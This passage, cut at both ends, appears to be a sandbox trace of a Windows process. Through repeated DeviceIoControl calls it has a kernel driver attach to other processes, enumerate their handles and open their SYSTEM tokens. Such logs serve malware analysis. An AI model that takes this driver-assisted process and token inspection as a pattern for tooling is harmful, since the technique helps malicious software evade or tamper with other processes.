(Object=0xfffffa80018ba540) returned 0x13a [0112.927] ObQueryNameString (in: Object=0xfffff8a002a6f8c0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.927] ObfDereferenceObject (Object=0xfffff8a002a6f8c0) returned 0x1 [0112.927] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.927] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.927] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.927] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.927] PsAcquireProcessExitSynchronization () returned 0x0 [0112.927] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.927] ObReferenceObjectByHandle (in: Handle=0x9c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a003a944e0, HandleInformation=0x0) returned 0x0 [0112.927] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.927] PsReleaseProcessExitSynchronization () returned 0x2 [0112.927] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.927] ObQueryNameString (in: Object=0xfffff8a003a944e0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.927] ObfDereferenceObject (Object=0xfffff8a003a944e0) returned 0x1 [0112.927] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.927] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.927] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0xc0 [0112.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0112.928] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800301b670, HandleInformation=0x0) returned 0x0 [0112.928] ObOpenObjectByPointer (in: Object=0xfffffa800301b670, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0112.928] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6c [0112.928] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0112.928] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0112.928] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.928] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0112.928] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.001] CloseHandle (hObject=0xc8) returned 1 [0113.001] CloseHandle (hObject=0xc0) returned 1 [0113.001] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.001] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.001] PsAcquireProcessExitSynchronization () returned 0x0 [0113.001] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880055905d0) [0113.002] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003034ad0, HandleInformation=0x0) returned 0x0 [0113.002] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.002] PsReleaseProcessExitSynchronization () returned 0x2 [0113.002] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0113.002] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.002] ObfDereferenceObject (Object=0xfffffa8003034ad0) returned 0x1 [0113.002] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.002] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.002] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.002] PsLookupProcessByProcessId (in: ProcessId=0x1ac, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.002] PsAcquireProcessExitSynchronization () returned 0x0 [0113.002] KeStackAttachProcess (in: PROCESS=0xfffffa800301b670, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800301b670, ApcState=0xfffff880055905d0) [0113.002] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030c6320, HandleInformation=0x0) returned 0x0 [0113.002] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.002] PsReleaseProcessExitSynchronization () returned 0x2 [0113.002] ObfDereferenceObject (Object=0xfffffa800301b670) returned 0x6a [0113.002] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.002] ObfDereferenceObject (Object=0xfffffa80030c6320) returned 0x1 [0113.002] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.002] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.002] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0xc0 [0113.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.002] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800304b4e0, HandleInformation=0x0) returned 0x0 [0113.002] ObOpenObjectByPointer (in: Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000970) returned 0x0 [0113.002] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x77 [0113.002] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000970, DesiredAccess=0x8, TokenHandle=0xfffffa8003816040 | out: TokenHandle=0xfffffa8003816040*=0xc8) returned 0x0 [0113.002] ZwClose (Handle=0xffffffff80000970) returned 0x0 [0113.003] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.003] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.003] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.004] CloseHandle (hObject=0xc8) returned 1 [0113.004] CloseHandle (hObject=0xc0) returned 1 [0113.004] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.004] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.004] PsAcquireProcessExitSynchronization () returned 0x0 [0113.004] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.004] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0113.004] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.004] PsReleaseProcessExitSynchronization () returned 0x2 [0113.004] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.004] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.004] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0113.004] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.004] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.004] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.004] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.005] PsAcquireProcessExitSynchronization () returned 0x0 [0113.005] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.005] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0113.005] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.005] PsReleaseProcessExitSynchronization () returned 0x2 [0113.005] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.005] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.005] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0113.005] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.005] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.005] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.005] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.005] PsAcquireProcessExitSynchronization () returned 0x0 [0113.005] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.005] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0113.005] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.005] PsReleaseProcessExitSynchronization () returned 0x2 [0113.005] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.005] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.005] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0113.005] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.005] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.005] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.005] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.005] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.005] PsAcquireProcessExitSynchronization () returned 0x0 [0113.005] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.006] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0113.006] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.006] PsReleaseProcessExitSynchronization () returned 0x2 [0113.006] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.006] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.006] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0113.006] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.006] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.006] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.006] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.006] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.006] PsAcquireProcessExitSynchronization () returned 0x0 [0113.006] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.006] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0113.006] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.006] PsReleaseProcessExitSynchronization () returned 0x2 [0113.006] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.006] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.006] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0113.006] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.006] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.006] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.006] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.006] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.006] PsAcquireProcessExitSynchronization () returned 0x0 [0113.006] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.006] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0113.006] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.006] PsReleaseProcessExitSynchronization () returned 0x2 [0113.006] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.006] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.006] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0113.007] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.007] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.007] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.007] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.007] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.007] PsAcquireProcessExitSynchronization () returned 0x0 [0113.007] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.007] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0113.007] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.007] PsReleaseProcessExitSynchronization () returned 0x2 [0113.007] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.007] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.007] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0113.007] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.007] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.007] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.007] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.007] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.007] PsAcquireProcessExitSynchronization () returned 0x0 [0113.007] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.007] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0113.007] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.007] PsReleaseProcessExitSynchronization () returned 0x2 [0113.007] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.007] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.007] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0113.007] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.007] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.007] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.007] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.007] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.008] PsAcquireProcessExitSynchronization () returned 0x0 [0113.008] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.008] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0113.008] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.008] PsReleaseProcessExitSynchronization () returned 0x2 [0113.008] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x75 [0113.008] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.008] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0113.008] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.008] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.008] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.008] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.008] PsAcquireProcessExitSynchronization () returned 0x0 [0113.008] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880055905d0) [0113.008] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: 